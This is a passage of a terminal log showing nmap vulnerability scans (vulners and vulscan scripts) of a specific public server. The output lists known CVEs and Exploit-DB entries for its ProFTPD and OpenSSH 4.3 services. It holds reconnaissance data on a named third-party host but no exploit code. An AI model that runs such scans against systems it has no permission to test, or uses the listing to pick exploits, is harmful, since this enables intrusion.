  2044. | [2705] ProFTPD 1.3.0 main.c CommandBufferSize denial of service
  2045. |
  2046. | MITRE CVE - https://cve.mitre.org:
  2047. | [CVE-2011-4130] Use-after-free vulnerability in the Response API in ProFTPD before 1.3.3g allows remote authenticated users to execute arbitrary code via vectors involving an error that occurs after an FTP data transfer.
  2048. | [CVE-2011-1137] Integer overflow in the mod_sftp (aka SFTP) module in ProFTPD 1.3.3d and earlier allows remote attackers to cause a denial of service (memory consumption leading to OOM kill) via a malformed SSH message.
  2049. | [CVE-2010-4652] Heap-based buffer overflow in the sql_prepare_where function (contrib/mod_sql.c) in ProFTPD before 1.3.3d, when mod_sql is enabled, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted username containing substitution tags, which are not properly handled during construction of an SQL query.
  2050. | [CVE-2010-4221] Multiple stack-based buffer overflows in the pr_netio_telnet_gets function in netio.c in ProFTPD before 1.3.3c allow remote attackers to execute arbitrary code via vectors involving a TELNET IAC escape character to a (1) FTP or (2) FTPS server.
  2051. | [CVE-2010-3867] Multiple directory traversal vulnerabilities in the mod_site_misc module in ProFTPD before 1.3.3c allow remote authenticated users to create directories, delete directories, create symlinks, and modify file timestamps via directory traversal sequences in a (1) SITE MKDIR, (2) SITE RMDIR, (3) SITE SYMLINK, or (4) SITE UTIME command.
  2052. | [CVE-2009-3639] The mod_tls module in ProFTPD before 1.3.2b, and 1.3.3 before 1.3.3rc2, when the dNSNameRequired TLS option is enabled, does not properly handle a '\0' character in a domain name in the Subject Alternative Name field of an X.509 client certificate, which allows remote attackers to bypass intended client-hostname restrictions via a crafted certificate issued by a legitimate Certification Authority, a related issue to CVE-2009-2408.
  2053. | [CVE-2004-0529] The modified suexec program in cPanel, when configured for mod_php and compiled for Apache 1.3.31 and earlier without mod_phpsuexec, allows local users to execute untrusted shared scripts and gain privileges, as demonstrated using untainted scripts such as (1) proftpdvhosts or (2) addalink.cgi, a different vulnerability than CVE-2004-0490.
  2054. | [CVE-2012-6095] ProFTPD before 1.3.5rc1, when using the UserOwner directive, allows local users to modify the ownership of arbitrary files via a race condition and a symlink attack on the (1) MKD or (2) XMKD commands.
  2055. | [CVE-2009-0543] ProFTPD Server 1.3.1, with NLS support enabled, allows remote attackers to bypass SQL injection protection mechanisms via invalid, encoded multibyte characters, which are not properly handled in (1) mod_sql_mysql and (2) mod_sql_postgres.
  2056. | [CVE-2009-0542] SQL injection vulnerability in ProFTPD Server 1.3.1 through 1.3.2rc2 allows remote attackers to execute arbitrary SQL commands via a "%" (percent) character in the username, which introduces a "'" (single quote) character during variable substitution by mod_sql.
  2057. | [CVE-2008-7265] The pr_data_xfer function in ProFTPD before 1.3.2rc3 allows remote authenticated users to cause a denial of service (CPU consumption) via an ABOR command during a data transfer.
  2058. | [CVE-2008-4242] ProFTPD 1.3.1 interprets long commands from an FTP client as multiple commands, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks and execute arbitrary FTP commands via a long ftp:// URI that leverages an existing session from the FTP client implementation in a web browser.
  2059. | [CVE-2006-6563] Stack-based buffer overflow in the pr_ctrls_recv_request function in ctrls.c in the mod_ctrls module in ProFTPD before 1.3.1rc1 allows local users to execute arbitrary code via a large reqarglen length value.
  2060. | [CVE-2006-6171] ** DISPUTED ** ProFTPD 1.3.0a and earlier does not properly set the buffer size limit when CommandBufferSize is specified in the configuration file, which leads to an off-by-two buffer underflow. NOTE: in November 2006, the role of CommandBufferSize was originally associated with CVE-2006-5815, but this was an error stemming from a vague initial disclosure. NOTE: ProFTPD developers dispute this issue, saying that the relevant memory location is overwritten by assignment before further use within the affected function, so this is not a vulnerability.
  2061. | [CVE-2006-6170] Buffer overflow in the tls_x509_name_oneline function in the mod_tls module, as used in ProFTPD 1.3.0a and earlier, and possibly other products, allows remote attackers to execute arbitrary code via a large data length argument, a different vulnerability than CVE-2006-5815.
  2062. | [CVE-2006-5815] Stack-based buffer overflow in the sreplace function in ProFTPD 1.3.0 and earlier allows remote attackers, probably authenticated, to cause a denial of service and execute arbitrary code, as demonstrated by vd_proftpd.pm, a "ProFTPD remote exploit."
  2063. | [CVE-2005-4816] Buffer overflow in mod_radius in ProFTPD before 1.3.0rc2 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long password.
  2064. | [CVE-2005-2390] Multiple format string vulnerabilities in ProFTPD before 1.3.0rc2 allow attackers to cause a denial of service or obtain sensitive information via (1) certain inputs to the shutdown message from ftpshut, or (2) the SQLShowInfo mod_sql directive.
  2065. |
  2066. | SecurityFocus - https://www.securityfocus.com/bid/:
  2067. | [50631] ProFTPD Prior To 1.3.3g Use-After-Free Remote Code Execution Vulnerability
  2068. |
  2069. | IBM X-Force - https://exchange.xforce.ibmcloud.com:
  2070. | [80980] ProFTPD FTP commands symlink
  2071. | [71226] ProFTPD pool code execution
  2072. | [65207] ProFTPD mod_sftp module denial of service
  2073. | [64495] ProFTPD sql_prepare_where() buffer overflow
  2074. | [63658] ProFTPD FTP server backdoor
  2075. | [63407] mod_sql module for ProFTPD buffer overflow
  2076. | [63155] ProFTPD pr_data_xfer denial of service
  2077. | [62909] ProFTPD mod_site_misc directory traversal
  2078. | [62908] ProFTPD pr_netio_telnet_gets() buffer overflow
  2079. | [53936] ProFTPD mod_tls SSL certificate security bypass
  2080. | [48951] ProFTPD mod_sql username percent SQL injection
  2081. | [48558] ProFTPD NLS support SQL injection protection bypass
  2082. | [45274] ProFTPD URL cross-site request forgery
  2083. | [33733] ProFTPD Auth API security bypass
  2084. | [31461] ProFTPD mod_radius buffer overflow
  2085. | [30906] ProFTPD Controls (mod_ctrls) module buffer overflow
  2086. | [30554] ProFTPD mod_tls module tls_x509_name_oneline() buffer overflow
  2087. | [30147] ProFTPD sreplace() buffer overflow
  2088. | [21530] ProFTPD mod_sql format string attack
  2089. | [21528] ProFTPD shutdown message format string attack
  2090. | [19410] GProFTPD file name format string attack
  2091. | [18453] ProFTPD SITE CHGRP command allows group ownership modification
  2092. | [17724] ProFTPD could allow an attacker to obtain valid accounts
  2093. | [16038] ProFTPD CIDR entry ACL bypass
  2094. | [15387] ProFTPD off-by-one _xlate_ascii_write function buffer overflow
  2095. | [12369] ProFTPD mod_sql SQL injection
  2096. | [12200] ProFTPD ASCII file newline buffer overflow
  2097. | [10932] ProFTPD long PASS command buffer overflow
  2098. | [8332] ProFTPD mod_sqlpw stores passwords in the wtmp log file
  2099. | [7818] ProFTPD ls &quot
  2100. | [7816] ProFTPD file globbing denial of service
  2101. | [7126] ProFTPD fails to resolve hostnames
  2102. | [6433] ProFTPD format string
  2103. | [6209] proFTPD /var symlink
  2104. | [6208] ProFTPD contains configuration error in postinst script when running as root
  2105. | [5801] proftpd memory leak when using SIZE or USER commands
  2106. | [5737] ProFTPD system using mod_sqlpw unauthorized access
  2107. |
  2108. | Exploit-DB - https://www.exploit-db.com:
  2109. | [16878] ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
  2110. | [16851] ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
  2111. | [15662] ProFTPD 1.3.3c compromised source remote root Trojan
  2112. | [20690] wu-ftpd 2.4/2.5/2.6,Trolltech ftpd 1.2,ProFTPD 1.2,BeroFTPD 1.3.4 FTP glob Expansion Vulnerability
  2113. | [16852] ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
  2114. | [10044] ProFTPd 1.3.0 mod_ctrls Local Stack Overflow (opensuse)
  2115. | [3730] ProFTPD 1.3.0/1.3.0a (mod_ctrls) Local Overflow Exploit (exec-shield)
  2116. | [3333] ProFTPD 1.3.0/1.3.0a (mod_ctrls support) Local Buffer Overflow Exploit 2
  2117. | [3330] ProFTPD 1.3.0/1.3.0a (mod_ctrls support) Local Buffer Overflow Exploit
  2118. | [2928] ProFTPD <= 1.3.0a (mod_ctrls support) Local Buffer Overflow PoC
  2119. | [2856] ProFTPD 1.3.0 (sreplace) Remote Stack Overflow Exploit (meta)
  2120. |
  2121. | OpenVAS (Nessus) - http://www.openvas.org:
  2122. | [103331] ProFTPD Prior To 1.3.3g Use-After-Free Remote Code Execution Vulnerability
  2123. | [63497] Debian Security Advisory DSA 1730-1 (proftpd-dfsg)
  2124. |
  2125. | SecurityTracker - https://www.securitytracker.com:
  2126. | [1028040] ProFTPD MKD/XMKD Race Condition Lets Local Users Gain Elevated Privileges
  2127. | [1026321] ProFTPD Use-After-Free Memory Error Lets Remote Authenticated Users Execute Arbitrary Code
  2128. | [1020945] ProFTPD Request Processing Bug Permits Cross-Site Request Forgery Attacks
  2129. | [1017931] ProFTPD Auth API State Error May Let Remote Users Access the System in Certain Cases
  2130. | [1017167] ProFTPD sreplace() Off-by-one Bug Lets Remote Users Execute Arbitrary Code
  2131. | [1012488] ProFTPD SITE CHGRP Command Lets Remote Authenticated Users Modify File/Directory Group Ownership
  2132. | [1011687] ProFTPd Login Timing Differences Disclose Valid User Account Names to Remote Users
  2133. | [1009997] ProFTPD Access Control Bug With CIDR Addresses May Let Remote Authenticated Users Access Files
  2134. | [1009297] ProFTPD _xlate_ascii_write() Off-By-One Buffer Overflows Let Remote Users Execute Arbitrary Code With Root Privileges
  2135. | [1007794] ProFTPD ASCII Mode File Upload Buffer Overflow Lets Certain Remote Users Execute Arbitrary Code
  2136. | [1007020] ProFTPD Input Validation Flaw When Authenticating Against Postgresql Using 'mod_sql' Lets Remote Users Gain Access
  2137. | [1003019] ProFTPD FTP Server May Allow Local Users to Execute Code on the Server
  2138. | [1002354] ProFTPD Reverse DNS Feature Fails to Check Forward-to-Reverse DNS Mappings
  2139. | [1002148] ProFTPD Site and Quote Commands May Allow Remote Users to Execute Arbitrary Commands on the Server
  2140. |
  2141. | OSVDB - http://www.osvdb.org:
  2142. | [89051] ProFTPD Multiple FTP Command Handling Symlink Arbitrary File Overwrite
  2143. | [77004] ProFTPD Use-After-Free Response Pool Allocation List Parsing Remote Memory Corruption
  2144. | [70868] ProFTPD mod_sftp Component SSH Payload DoS
  2145. | [70782] ProFTPD contrib/mod_sql.c sql_prepare_where Function Crafted Username Handling Remote Overflow
  2146. | [69562] ProFTPD on ftp.proftpd.org Compromised Source Packages Trojaned Distribution
  2147. | [69200] ProFTPD pr_data_xfer Function ABOR Command Remote DoS
  2148. | [68988] ProFTPD mod_site_misc Module Multiple Command Traversal Arbitrary File Manipulation
  2149. | [68985] ProFTPD netio.c pr_netio_telnet_gets Function TELNET_IAC Escape Sequence Remote Overflow
  2150. | [59292] ProFTPD mod_tls Module Certificate Authority (CA) subjectAltName Field Null Byte Handling SSL MiTM Weakness
  2151. | [57311] ProFTPD contrib/mod_ratio.c Multiple Unspecified Buffer Handling Issues
  2152. | [57310] ProFTPD Multiple Unspecified Overflows
  2153. | [57309] ProFTPD src/support.c Unspecified Buffer Handling Issue
  2154. | [57308] ProFTPD modules/mod_core.c Multiple Unspecified Overflows
  2155. | [57307] ProFTPD Multiple Modules Unspecified Overflows
  2156. | [57306] ProFTPD contrib/mod_pam.c Multiple Unspecified Buffer Handling Issues
  2157. | [57305] ProFTPD src/main.c Unspecified Overflow
  2158. | [57304] ProFTPD src/log.c Logfile Handling Unspecified Race Condition
  2159. | [57303] ProFTPD modules/mod_auth.c Unspecified Issue
  2160. | [51954] ProFTPD Server NLS Support mod_sql_* Encoded Multibyte Character SQL Injection Protection Bypass
  2161. | [51953] ProFTPD Server mod_sql username % Character Handling SQL Injection
  2162. | [51849] ProFTPD Character Encoding SQL Injection
  2163. | [51720] ProFTPD NLST Command Argument Handling Remote Overflow
  2164. | [51719] ProFTPD MKDIR Command Directory Name Handling Remote Overflow
  2165. | [48411] ProFTPD FTP Command Truncation CSRF
  2166. | [34602] ProFTPD Auth API Multiple Auth Module Authentication Bypass
  2167. | [31509] ProFTPD mod_ctrls Module pr_ctrls_recv_request Function Local Overflow
  2168. | [30719] mod_tls Module for ProFTPD tls_x509_name_oneline Function Remote Overflow
  2169. | [30660] ProFTPD CommandBufferSize Option cmd_loop() Function DoS
  2170. | [30267] ProFTPD src/support.c sreplace() Function Remote Overflow
  2171. | [23063] ProFTPD mod_radius Password Overflow DoS
  2172. | [20212] ProFTPD Host Reverse Resolution Failure ACL Bypass
  2173. | [18271] ProFTPD mod_sql SQLShowInfo Directive Format String
  2174. | [18270] ProFTPD ftpshut Shutdown Message Format String
  2175. | [14012] GProftpd gprostats Utility Log Parser Remote Format String
  2176. | [10769] ProFTPD File Transfer Newline Character Overflow
  2177. | [10768] ProFTPD STAT Command Remote DoS
  2178. | [10758] ProFTPD Login Timing Account Name Enumeration
  2179. | [10173] ProFTPD mod_sqlpw wtmp Authentication Credential Disclosure
  2180. | [9507] PostgreSQL Authentication Module (mod_sql) for ProFTPD USER Name Parameter SQL Injection
  2181. | [9163] ProFTPD MKDIR Directory Creation / Change Remote Overflow (palmetto)
  2182. | [7166] ProFTPD SIZE Command Memory Leak Remote DoS
  2183. | [7165] ProFTPD USER Command Memory Leak DoS
  2184. | [5744] ProFTPD CIDR IP Subnet ACL Bypass
  2185. | [5705] ProFTPD Malformed cwd Command Format String
  2186. | [5638] ProFTPD on Debian Linux postinst Installation Privilege Escalation
  2187. | [4134] ProFTPD in_xlate_ascii_write() Function RETR Command Remote Overflow
  2188. | [144] ProFTPD src/log.c log_xfer() Function Remote Overflow
  2189. |_
  2190. Service Info: OS: Unix
  2191.  
  2192. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  2193. Nmap done: 1 IP address (1 host up) scanned in 10.51 seconds
  2194.  
  2195.  
  2196. root@blackbox:/usr/share/nmap/scripts# nmap --script nmap-vulners,vulscan --script-args vulscandb -sV -p22 184.154.192.250
  2197. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:30 CST
  2198. Nmap scan report for server.etours.cn (184.154.192.250)
  2199. Host is up (0.037s latency).
  2200.  
  2201. PORT STATE SERVICE VERSION
  2202. 22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
  2203. | vulners:
  2204. | cpe:/a:openbsd:openssh:4.3:
  2205. | CVE-2006-5051 9.3 https://vulners.com/cve/CVE-2006-5051
  2206. | CVE-2006-4924 7.8 https://vulners.com/cve/CVE-2006-4924
  2207. | CVE-2014-1692 7.5 https://vulners.com/cve/CVE-2014-1692
  2208. | CVE-2010-4478 7.5 https://vulners.com/cve/CVE-2010-4478
  2209. | CVE-2007-4752 7.5 https://vulners.com/cve/CVE-2007-4752
  2210. | CVE-2009-2904 6.9 https://vulners.com/cve/CVE-2009-2904
  2211. | CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906
  2212. | CVE-2016-10708 5.0 https://vulners.com/cve/CVE-2016-10708
  2213. | CVE-2010-5107 5.0 https://vulners.com/cve/CVE-2010-5107
  2214. | CVE-2008-4109 5.0 https://vulners.com/cve/CVE-2008-4109
  2215. | CVE-2007-2243 5.0 https://vulners.com/cve/CVE-2007-2243
  2216. | CVE-2006-5052 5.0 https://vulners.com/cve/CVE-2006-5052
  2217. | CVE-2010-4755 4.0 https://vulners.com/cve/CVE-2010-4755
  2218. | CVE-2012-0814 3.5 https://vulners.com/cve/CVE-2012-0814
  2219. | CVE-2011-5000 3.5 https://vulners.com/cve/CVE-2011-5000
  2220. | CVE-2011-4327 2.1 https://vulners.com/cve/CVE-2011-4327
  2221. |_ CVE-2008-3259 1.2 https://vulners.com/cve/CVE-2008-3259
  2222. | vulscan: VulDB - https://vuldb.com:
  2223. | [44077] OpenBSD OpenSSH up to 4.3 Signal denial of service
  2224. | [39331] OpenSSH 4.3p2 Audit Log linux_audit_record_event unknown vulnerability
  2225. | [43307] OpenSSH 4.0 unknown vulnerability
  2226. | [41835] OpenSSH up to 4.8 unknown vulnerability
  2227. | [38743] OpenSSH up to 4.6 unknown vulnerability
  2228. | [36382] OpenBSD OpenSSH up to 4.6 information disclosure
  2229. | [32699] OpenBSD OpenSSH 4.1 denial of service
  2230. | [2667] OpenBSD OpenSSH 4.4 Separation Monitor unknown vulnerability
  2231. |
  2232. | MITRE CVE - https://cve.mitre.org:
  2233. | [CVE-2009-2904] A certain Red Hat modification to the ChrootDirectory feature in OpenSSH 4.8, as used in sshd in OpenSSH 4.3 in Red Hat Enterprise Linux (RHEL) 5.4 and Fedora 11, allows local users to gain privileges via hard links to setuid programs that use configuration files within the chroot directory, related to requirements for directory ownership.
  2234. | [CVE-2008-4109] A certain Debian patch for OpenSSH before 4.3p2-9etch3 on etch
  2235. | [CVE-2008-1483] OpenSSH 4.3p2, and probably other versions, allows local users to hijack forwarded X connections by causing ssh to set DISPLAY to :10, even when another process is listening on the associated port, as demonstrated by opening TCP port 6010 (IPv4) and sniffing a cookie sent by Emacs.
  2236. | [CVE-2007-3102] Unspecified vulnerability in the linux_audit_record_event function in OpenSSH 4.3p2, as used on Fedora Core 6 and possibly other systems, allows remote attackers to write arbitrary characters to an audit log via a crafted username. NOTE: some of these details are obtained from third party information.
  2237. | [CVE-2010-4755] The (1) remote_glob function in sftp-glob.c and the (2) process_put function in sftp.c in OpenSSH 5.8 and earlier, as used in FreeBSD 7.3 and 8.1, NetBSD 5.0.2, OpenBSD 4.7, and other products, allow remote authenticated users to cause a denial of service (CPU and memory consumption) via crafted glob expressions that do not match any pathnames, as demonstrated by glob expressions in SSH_FXP_STAT requests to an sftp daemon, a different vulnerability than CVE-2010-2632.
  2238. | [CVE-2008-3844] Certain Red Hat Enterprise Linux (RHEL) 4 and 5 packages for OpenSSH, as signed in August 2008 using a legitimate Red Hat GPG key, contain an externally introduced modification (Trojan Horse) that allows the package authors to have an unknown impact. NOTE: since the malicious packages were not distributed from any official Red Hat sources, the scope of this issue is restricted to users who may have obtained these packages through unofficial distribution points. As of 20080827, no unofficial distributions of this software are known.
  2239. | [CVE-2008-3234] sshd in OpenSSH 4 on Debian GNU/Linux, and the 20070303 OpenSSH snapshot, allows remote authenticated users to obtain access to arbitrary SELinux roles by appending a :/ (colon slash) sequence, followed by the role name, to the username.
  2240. | [CVE-2008-1657] OpenSSH 4.4 up to versions before 4.9 allows remote authenticated users to bypass the sshd_config ForceCommand directive by modifying the .ssh/rc session file.
  2241. | [CVE-2007-6415] scponly 4.6 and earlier allows remote authenticated users to bypass intended restrictions and execute arbitrary code by invoking scp, as implemented by OpenSSH, with the -F and -o options.
  2242. | [CVE-2007-4752] ssh in OpenSSH before 4.7 does not properly handle when an untrusted cookie cannot be created and uses a trusted X11 cookie instead, which allows attackers to violate intended policy and gain privileges by causing an X client to be treated as trusted.
  2243. | [CVE-2007-2243] OpenSSH 4.6 and earlier, when ChallengeResponseAuthentication is enabled, allows remote attackers to determine the existence of user accounts by attempting to authenticate via S/KEY, which displays a different response if the user account exists, a similar issue to CVE-2001-1483.
  2244. | [CVE-2006-5794] Unspecified vulnerability in the sshd Privilege Separation Monitor in OpenSSH before 4.5 causes weaker verification that authentication has been successful, which might allow attackers to bypass authentication. NOTE: as of 20061108, it is believed that this issue is only exploitable by leveraging vulnerabilities in the unprivileged process, which are not known to exist.
  2245. | [CVE-2006-5229] OpenSSH portable 4.1 on SUSE Linux, and possibly other platforms and versions, and possibly under limited configurations, allows remote attackers to determine valid usernames via timing discrepancies in which responses take longer for valid usernames than invalid ones, as demonstrated by sshtime. NOTE: as of 20061014, it appears that this issue is dependent on the use of manually-set passwords that causes delays when processing /etc/shadow due to an increased number of rounds.
  2246. | [CVE-2006-5052] Unspecified vulnerability in portable OpenSSH before 4.4, when running on some platforms, allows remote attackers to determine the validity of usernames via unknown vectors involving a GSSAPI "authentication abort."
  2247. | [CVE-2006-5051] Signal handler race condition in OpenSSH before 4.4 allows remote attackers to cause a denial of service (crash), and possibly execute arbitrary code if GSSAPI authentication is enabled, via unspecified vectors that lead to a double-free.
  2248. | [CVE-2006-4924] sshd in OpenSSH before 4.4, when using the version 1 SSH protocol, allows remote attackers to cause a denial of service (CPU consumption) via an SSH packet that contains duplicate blocks, which is not properly handled by the CRC compensation attack detector.
  2249. | [CVE-2006-0225] scp in OpenSSH 4.2p1 allows attackers to execute arbitrary commands via filenames that contain shell metacharacters or spaces, which are expanded twice.
  2250. | [CVE-2005-2798] sshd in OpenSSH before 4.2, when GSSAPIDelegateCredentials is enabled, allows GSSAPI credentials to be delegated to clients who log in using non-GSSAPI methods, which could cause those credentials to be exposed to untrusted users or hosts.
  2251. | [CVE-2005-2797] OpenSSH 4.0, and other versions before 4.2, does not properly handle dynamic port forwarding ("-D" option) when a listen address is not provided, which may cause OpenSSH to enable the GatewayPorts functionality.
  2252. | [CVE-2005-2666] SSH, as implemented in OpenSSH before 4.0 and possibly other implementations, stores hostnames, IP addresses, and keys in plaintext in the known_hosts file, which makes it easier for an attacker that has compromised an SSH user's account to generate a list of additional targets that are more likely to have the same password or key.
  2253. | [CVE-2001-1029] libutil in OpenSSH on FreeBSD 4.4 and earlier does not drop privileges before verifying the capabilities for reading the copyright and welcome files, which allows local users to bypass the capabilities checks and read arbitrary files by specifying alternate copyright or welcome files.
  2254. |
  2255. | SecurityFocus - https://www.securityfocus.com/bid/:
  2256. | [4560] OpenSSH Kerberos 4 TGT/AFS Token Buffer Overflow Vulnerability
  2257. |
  2258. | IBM X-Force - https://exchange.xforce.ibmcloud.com:
  2259. | [8896] OpenSSH Kerberos 4 TGT/AFS buffer overflow
  2260. |
  2261. | Exploit-DB - https://www.exploit-db.com:
  2262. | [2444] OpenSSH <= 4.3 p1 (Duplicated Block) Remote Denial of Service Exploit
  2263. | [21402] OpenSSH 2.x/3.x Kerberos 4 TGT/AFS Token Buffer Overflow Vulnerability
  2264. | [3303] Portable OpenSSH <= 3.6.1p-PAM / 4.1-SUSE Timing Attack Exploit
  2265. |
  2266. | OpenVAS (Nessus) - http://www.openvas.org:
  2267. | [902488] OpenSSH 'sshd' GSSAPI Credential Disclosure Vulnerability
  2268. | [900179] OpenSSH CBC Mode Information Disclosure Vulnerability
  2269. | [881183] CentOS Update for openssh CESA-2012:0884 centos6
  2270. | [880802] CentOS Update for openssh CESA-2009:1287 centos5 i386
  2271. | [880746] CentOS Update for openssh CESA-2009:1470 centos5 i386
  2272. | [870763] RedHat Update for openssh RHSA-2012:0884-04
  2273. | [870129] RedHat Update for openssh RHSA-2008:0855-01
  2274. | [861813] Fedora Update for openssh FEDORA-2010-5429
  2275. | [861319] Fedora Update for openssh FEDORA-2007-395
  2276. | [861170] Fedora Update for openssh FEDORA-2007-394
  2277. | [861012] Fedora Update for openssh FEDORA-2007-715
  2278. | [840345] Ubuntu Update for openssh vulnerability USN-597-1
  2279. | [840300] Ubuntu Update for openssh update USN-612-5
  2280. | [840271] Ubuntu Update for openssh vulnerability USN-612-2
  2281. | [840268] Ubuntu Update for openssh update USN-612-7
  2282. | [840259] Ubuntu Update for openssh vulnerabilities USN-649-1
  2283. | [840214] Ubuntu Update for openssh vulnerability USN-566-1
  2284. | [831074] Mandriva Update for openssh MDVA-2010:162 (openssh)
  2285. | [830929] Mandriva Update for openssh MDVA-2010:090 (openssh)
  2286. | [830807] Mandriva Update for openssh MDVA-2010:026 (openssh)
  2287. | [830603] Mandriva Update for openssh MDVSA-2008:098 (openssh)
  2288. | [830523] Mandriva Update for openssh MDVSA-2008:078 (openssh)
  2289. | [830317] Mandriva Update for openssh-askpass-qt MDKA-2007:127 (openssh-askpass-qt)
  2290. | [830191] Mandriva Update for openssh MDKSA-2007:236 (openssh)
  2291. | [802407] OpenSSH 'sshd' Challenge Response Authentication Buffer Overflow Vulnerability
  2292. | [103503] openssh-server Forced Command Handling Information Disclosure Vulnerability
  2293. | [103247] OpenSSH Ciphersuite Specification Information Disclosure Weakness
  2294. | [103064] OpenSSH Legacy Certificate Signing Information Disclosure Vulnerability
  2295. | [100584] OpenSSH X Connections Session Hijacking Vulnerability
  2296. | [100153] OpenSSH CBC Mode Information Disclosure Vulnerability
  2297. | [66170] CentOS Security Advisory CESA-2009:1470 (openssh)
  2298. | [65987] SLES10: Security update for OpenSSH
  2299. | [65819] SLES10: Security update for OpenSSH
  2300. | [65514] SLES9: Security update for OpenSSH
  2301. | [65513] SLES9: Security update for OpenSSH
  2302. | [65334] SLES9: Security update for OpenSSH
  2303. | [65248] SLES9: Security update for OpenSSH
  2304. | [65218] SLES9: Security update for OpenSSH
  2305. | [65169] SLES9: Security update for openssh,openssh-askpass
  2306. | [65126] SLES9: Security update for OpenSSH
  2307. | [65019] SLES9: Security update for OpenSSH
  2308. | [65015] SLES9: Security update for OpenSSH
  2309. | [64931] CentOS Security Advisory CESA-2009:1287 (openssh)
  2310. | [61639] Debian Security Advisory DSA 1638-1 (openssh)
  2311. | [61030] Debian Security Advisory DSA 1576-2 (openssh)
  2312. | [61029] Debian Security Advisory DSA 1576-1 (openssh)
  2313. | [60840] FreeBSD Security Advisory (FreeBSD-SA-08:05.openssh.asc)
  2314. | [60803] Gentoo Security Advisory GLSA 200804-03 (openssh)
  2315. | [60667] Slackware Advisory SSA:2008-095-01 openssh
  2316. | [59014] Slackware Advisory SSA:2007-255-01 openssh
  2317. | [58741] Gentoo Security Advisory GLSA 200711-02 (openssh)
  2318. | [57919] Gentoo Security Advisory GLSA 200611-06 (openssh)
  2319. | [57895] Gentoo Security Advisory GLSA 200609-17 (openssh)
  2320. | [57585] Debian Security Advisory DSA 1212-1 (openssh (1:3.8.1p1-8.sarge.6))
  2321. | [57492] Slackware Advisory SSA:2006-272-02 openssh
  2322. | [57483] Debian Security Advisory DSA 1189-1 (openssh-krb5)
  2323. | [57476] FreeBSD Security Advisory (FreeBSD-SA-06:22.openssh.asc)
  2324. | [57470] FreeBSD Ports: openssh
  2325. | [56352] FreeBSD Security Advisory (FreeBSD-SA-06:09.openssh.asc)
  2326. | [56330] Gentoo Security Advisory GLSA 200602-11 (OpenSSH)
  2327. | [56294] Slackware Advisory SSA:2006-045-06 openssh
  2328. | [53964] Slackware Advisory SSA:2003-266-01 New OpenSSH packages
  2329. | [53885] Slackware Advisory SSA:2003-259-01 OpenSSH Security Advisory
  2330. | [53884] Slackware Advisory SSA:2003-260-01 OpenSSH updated again
  2331. | [53788] Debian Security Advisory DSA 025-1 (openssh)
  2332. | [52638] FreeBSD Security Advisory (FreeBSD-SA-03:15.openssh.asc)
  2333. | [52635] FreeBSD Security Advisory (FreeBSD-SA-03:12.openssh.asc)
  2334. | [11343] OpenSSH Client Unauthorized Remote Forwarding
  2335. | [10954] OpenSSH AFS/Kerberos ticket/token passing
  2336. | [10883] OpenSSH Channel Code Off by 1
  2337. | [10823] OpenSSH UseLogin Environment Variables
  2338. |
  2339. | SecurityTracker - https://www.securitytracker.com:
  2340. | [1028187] OpenSSH pam_ssh_agent_auth Module on Red Hat Enterprise Linux Lets Remote Users Execute Arbitrary Code
  2341. | [1026593] OpenSSH Lets Remote Authenticated Users Obtain Potentially Sensitive Information
  2342. | [1025739] OpenSSH on FreeBSD Has Buffer Overflow in pam_thread() That Lets Remote Users Execute Arbitrary Code
  2343. | [1025482] OpenSSH ssh-keysign Utility Lets Local Users Gain Elevated Privileges
  2344. | [1025028] OpenSSH Legacy Certificates May Disclose Stack Contents to Remote Users
  2345. | [1022967] OpenSSH on Red Hat Enterprise Linux Lets Remote Authenticated Users Gain Elevated Privileges
  2346. | [1021235] OpenSSH CBC Mode Error Handling May Let Certain Remote Users Obtain Plain Text in Certain Cases
  2347. | [1020891] OpenSSH on Debian Lets Remote Users Prevent Logins
  2348. | [1020730] OpenSSH for Red Hat Enterprise Linux Packages May Have Been Compromised
  2349. | [1020537] OpenSSH on HP-UX Lets Local Users Hijack X11 Sessions
  2350. | [1019733] OpenSSH Unsafe Default Configuration May Let Local Users Execute Arbitrary Commands
  2351. | [1019707] OpenSSH Lets Local Users Hijack Forwarded X Sessions in Certain Cases
  2352. | [1017756] Apple OpenSSH Key Generation Process Lets Remote Users Deny Service
  2353. | [1017183] OpenSSH Privilege Separation Monitor Validation Error May Cause the Monitor to Fail to Properly Control the Unprivileged Process
  2354. | [1016940] OpenSSH Race Condition in Signal Handler Lets Remote Users Deny Service and May Potentially Permit Code Execution
  2355. | [1016939] OpenSSH GSSAPI Authentication Abort Error Lets Remote Users Determine Valid Usernames
  2356. | [1016931] OpenSSH SSH v1 CRC Attack Detection Implementation Lets Remote Users Deny Service
  2357. | [1016672] OpenSSH on Mac OS X Lets Remote Users Deny Service
  2358. | [1015706] OpenSSH Interaction With OpenPAM Lets Remote Users Deny Service
  2359. | [1015540] OpenSSH scp Double Shell Character Expansion During Local-to-Local Copying May Let Local Users Gain Elevated Privileges in Certain Cases
  2360. | [1014845] OpenSSH May Unexpectedly Activate GatewayPorts and Also May Disclose GSSAPI Credentials in Certain Cases
  2361. | [1011193] OpenSSH scp Directory Traversal Flaw Lets Remote SSH Servers Overwrite Files in Certain Cases
  2362. | [1011143] OpenSSH Default Configuration May Be Unsafe When Used With Anonymous SSH Services
  2363. | [1007791] Portable OpenSSH PAM free() Bug May Let Remote Users Execute Root Code
  2364. | [1007716] OpenSSH buffer_append_space() and Other Buffer Management Errors May Let Remote Users Execute Arbitrary Code
  2365. | [1006926] OpenSSH Host Access Restrictions Can Be Bypassed By Remote Users
  2366. | [1006688] OpenSSH Timing Flaw With Pluggable Authentication Modules Can Disclose Valid User Account Names to Remote Users
  2367. | [1004818] OpenSSH's Secure Shell (SSH) Implementation Weakness May Disclose User Passwords to Remote Users During Man-in-the-Middle Attacks
  2368. | [1004616] OpenSSH Integer Overflow and Buffer Overflow May Allow Remote Users to Gain Root Access to the System
  2369. | [1004391] OpenSSH 'BSD_AUTH' Access Control Bug May Allow Unauthorized Remote Users to Authenticated to the System
